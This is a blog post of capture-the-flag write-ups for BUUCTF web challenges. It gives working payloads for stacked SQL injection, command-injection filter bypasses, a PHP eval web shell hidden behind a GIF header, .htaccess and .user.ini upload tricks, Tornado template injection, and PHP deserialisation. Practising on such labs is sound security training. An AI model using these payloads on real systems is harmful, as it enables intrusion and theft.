BUUCTF寒假刷题记录(四)

发布于 2023-03-01  387 次阅读


[强网杯 2019]随便注

  • sql注入的题目,先找闭环方式
1' and sleep(5)#
成功延迟
  • 找字段数
1' order by 3#
2没报错,3报错,有俩字段
  • 先试试联合查询,发现一些函数被过滤了
1'union select databas()#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
  • 这道题要用之前写过的堆叠注入

  • 开始查数据,如果表名是数字,需要反引起来

1';show databases; 
1';show tables;
1';show columns from `1919810931114514`;#
  • 找到了flag字段,但是无法显示数据

img

  • wp的意思是前面爆出的words表是用来展示数据的,只需要将114514表命名为words,把字段也命名过去再把以前的真表换掉即可
MySQL的RENAME TABLE语句可以用于重命名或移动一个或多个已存在的表。其语法如下:

sql
Copy code
RENAME TABLE [database_name.]table_name TO [database_name.]new_table_name
其中database_name为数据库名,可选参数。table_name为旧表名,new_table_name为新表名。

RENAME TABLE语句有以下几种用法:

重命名单个表名

sql
Copy code
RENAME TABLE table1 TO table2;
该语句将表table1重命名为table2。

移动单个表到另一个数据库

sql
Copy code
RENAME TABLE db1.table1 TO db2.table1;
该语句将数据库db1中的表table1移动到数据库db2中,并重命名为table1。

同时重命名多个表

sql
Copy code
RENAME TABLE table1 TO table2, table3 TO table4, ...;
该语句可以同时重命名多个表。

移动多个表到另一个数据库

sql
Copy code
RENAME TABLE db1.table1 TO db2.table1, db1.table2 TO db2.table2, ...;
该语句可以同时移动多个表到另一个数据库,并重命名它们。

注意:RENAME TABLE语句要求执行该语句的用户拥有修改表结构的权限。
可以使用 ALTER TABLE 语句来更改表中的字段名,具体操作如下:

sql
Copy code
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 字段类型;
其中,表名 是要更改字段名的表的名称,旧字段名 是需要更改的字段名,新字段名 是更改后的字段名,字段类型 是更改后的字段类型。
  • 最终wp
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100);#

[GXYCTF2019]Ping Ping Ping

img

  • 和上一篇里面最后那道题有点像,ls看到flag.php,但是直接cat存在过滤

img

  • 麻了,这么弄都被过滤?ip=1;/ect/bin/c??%0af???????;看看过滤了什么
  • 看来通配符也被过滤了,可以考虑将ls得到的文件名做cat的参数
cat$IFS$1`ls`
  • 也可以变量覆盖,注意,flag在源码里面
a=g;cat$IFS$1fla$a.php
  • 另外虽然这道题被过滤了,但是有通用的将ls的非第一位结果作为cat的方法
cat$IFS$1$(ls|awk 'NR==2')
  • 最后来看看过滤了什么
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

[ACTF2020新生赛]Upload

  • 本题检测了<?和文件头,老脚本了
GIF89a? 
<script language="php">eval($_REQUEST[1])</script>

img

  • 做了前端的后缀验证,直接抓包改phtml就可以了

img

  • 服务器返回了文件路径,直接连接

[ACTF2020新生赛]BackupFile

  • 提示备份文件,用dirsearch扫一下全是429,设置一下时间间隔
dirsearch -u dirsearch -u http://93e2fa43-8b26-4cd2-a13a-8f8b85dea567.node4.buuoj.cn:81/ -s 5
  • 拿到备份文件index.php.bak
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
  • 弱类型比较,字符串和数字比较只会比较数字的开头部分,传入?key=123成功拿到flag

[RoarCTF2019]EasyClac

  • 抓包发现一个calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>
  • 注意到php里面有一个未声明的$blackitem变量,查看源码,这段js代码传递了一个参数,猜测传递给了该变量
  • 那么就可以传入? num=1这样的值,php接收参数时会自动解析为num,但是js传参后是不会匹配num变量的
  • 最后过滤了空格,使用chr函数绕过,chr将ascll码转换为字符
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

[护网杯2018]easy_tornado

  • tornado是一个基于python的web框架;render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用,也是sst的一种
  • 先试试能不能访问页面提示的flag,?filename=/fllllllllllllag,页面有个msg的参数,值是error,同时页面显示error,已经有ssti的特征了,传入{{1}}

img

  • 直接/error?msg={{cat%20/fllllllllllllag}},得到了orz,flag不在这里
  • 看来wp,要用tornado的handler.settings????
在Tornado模板中,可以访问以下快速对象:

static_url:用于生成静态文件的URL,例如JavaScript、CSS和图像等。

xsrf_form_html:用于添加XSRF令牌的HTML表单元素。这是为了防止跨站请求伪造攻击。

reverse_url:用于将URL模式名称转换为对应的URL路径。

locale:一个Tornado的locale模块,用于处理多语言支持。

escape:用于HTML转义的函数。

json_encode:将Python对象转换为JSON格式。

datetime:Python的datetime模块。

handler:当前处理程序实例的引用。

current_user:当前用户对象的引用。
handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所
以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

img

  • 下面要将文件名和cookie_secret和md5值拼接在一起,再整体求md5,然后传给filehash即可访问flag
import hashlib

s = '/fllllllllllllag'
m = hashlib.md5(s.encode())
print(m.hexdigest())
  • 得到了3f3dcfc1e99fde65214e03b068d62e84
import hashlib

s = '50e5aefa-fdff-4bdf-a02f-f8a80679a6963f3dcfc1e99fde65214e03b068d62e84'
m = hashlib.md5(s.encode())
print(m.hexdigest())
  • 得到efc01e259bfcd1508e145ec71712a68a
  • 传入?filename=/fllllllllllllag&filehash=efc01e259bfcd1508e145ec71712a68a即可

[BJDCTF2020]Easy MD5

  • 随便传个参数,抓包,select * from 'admin' where password=md5($pass,true)

img

  • 输入' or '6的md5值ffifdyop,在新网页中查看源码
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
    // wow, glzjin wants a girl friend.
-->
  • 又是经典的值不相等但是md5值相等,数组绕过,进入下一关
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
    echo $flag;
}
  • psot再传一遍就可以了

img

[ZJCTF 2019]NiZhuanSiWei

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
  • 代码要求传一个文件名,里面包含有指定字符串,可以直接data协议传一个,再拿fliter读一下页面提示的php
?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.bas
e64-encode/resource=useless.php
  • 解密得到
<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
  • 一个简单的触发tostring,$password参数的值是一个Flag对象,则在调用echo $password;的时候会触发该对象的 __tostring() 方法
<?php

class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a=new Flag();
echo serialize($a);
?>
  • 得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
  • 最终wp:?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

[MRCTF2020]你传你🐎呢

  • 上传.htaccess文件,修改jpg也可以被解析
sethandler application/x-httpd-php

img

  • 上传图片马,直接连接即可

[SUCTF2019]CheckIn

  • 上传user.ini,将图片定义为受包含文件,这里要加图片头和抓包改mine
GIF89a
auto_prepend_file=1.jpg

img

  • 上传1.php直接重新命名的1.jpg,蚁剑同目录下的index.php(图片有点问题)

img

届ける言葉を今は育ててる
最后更新于 2024-02-07